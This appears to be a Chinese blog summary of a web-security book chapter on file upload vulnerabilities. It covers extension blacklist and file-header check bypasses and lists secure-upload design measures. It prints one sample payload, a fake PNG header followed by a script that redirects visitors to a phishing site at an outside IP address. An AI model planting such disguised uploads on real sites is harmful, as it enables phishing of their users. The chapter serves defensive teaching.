白帽子讲Web安全(第 8 章 文件上传漏洞)

第 8 章 文件上传漏洞

8.1 文件上传漏洞概述

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。

文件上传功能本身是一个正常业务需求,对于网站来说,很多时候也确实需要用户将文件上传到服务器。所以“文件上传”本身没有问题,但有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传后导致的常见安全问题一般有:

  • 上传文件是 Web 脚本语言,服务器的 Web 容器解释并执行了用户上传的脚本,导致代码执行;
  • 上传文件是 Flash 的策略文件 crossdomain.xml,黑客用以控制 Flash 在该域下的行为(其他通过类似方式控制策略文件的情况类似);
  • 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
  • 上传文件时钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

8.1.1 从 FCKEditor 文件上传漏洞谈起

FCKEditor 是一款非常流行的富文本编辑器,为了方便用户,它带有一个上传文件功能,但是这个功能却出过许多次漏洞。

在存在漏洞的版本中,是通过检查文件的后缀来确定是否安全的。

是以黑名单的方式限制上传文件的类型。之前讨论过,黑名单是一种非常不好的设计思想。

8.1.2 绕过文件上传检查功能

在针对上传文件的检查中,很多应用都是通过判断文件名后缀的方法来验证文件的安全性的。

除了常见的检查文件名后缀的方法外,有的应用,还会通过判断上传文件的文件头来验证文件的类型。
在正常情况下,通过判断前 10 个字节,基本上就能帕努但出一个文件的真实类型。

浏览器的 MIME Sniff 功能实际上也是通过读取文件的前 256 个字节,来判断文件的类型。

8.2 功能还是漏洞

8.2.1 Apache 文件解析问题

8.2.2 IIS 文件解析问题

8.2.3 PHP CGI 路径解析问题

8.2.4 利用上传文件钓鱼

前面讲到 Web Server 的一些“功能”可能会被攻击者利用,绕过文件上传功能的一些安全检查,这是服务器端的事情。但在实际环境中,很多时候服务器端的应用,还需要为客户端买单。

利用文件上传功能,钓鱼者可以先将包含了 HTML 的文件(比如一张图片)上传到目标网站,然后通过传播这个文件的 URL 进行钓鱼,则 URL 中不会出现钓鱼地址,更具有欺骗性。
比如如下一张图片实际内容:

png
<script language="javascript">
	var c = window.location.tostring();
	if(c.indexOf("?")!=-1){
		var i=c.split("?")[1];
		if(i.split("_")[0]==1){
			location.href='http://208.43.120.46/images/iteme.asp?id='+i.split("_")[1];
		}else
		{
			location.href='http://208.43.120.46/images/iteme.asp?id='+i.split("_")[1];
		}
	}
</script>

其中,png 是伪造的文件头,用于绕过上传时的文件类型检查:接下来就是一段脚本,如果被执行,将控制浏览器跳向指定的网站,在此是一个钓鱼网站。

在正常情况下,浏览器是不会将 jpg 文件当做 HTML 执行的,但是在低版本的 IE 中,比如 IE 6 和 IE 7 ,包括 IE 8 的兼容模式,浏览器都会“自作聪明”的将此文件当作 HTML 执行。这个问题在很早以前就被用来制作网页木马,但微软一直认为这是浏览器的特性,直到 IE 8 中有了增强的 MIME Sniff ,才有所缓解。

8.3 设计安全的文件上传功能

  1. 文件上传的目录设置为不可执行
  2. 判断文件类型
  3. 使用随机数改写文件名和文件路径
  4. 单独设置文件服务器的域名
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值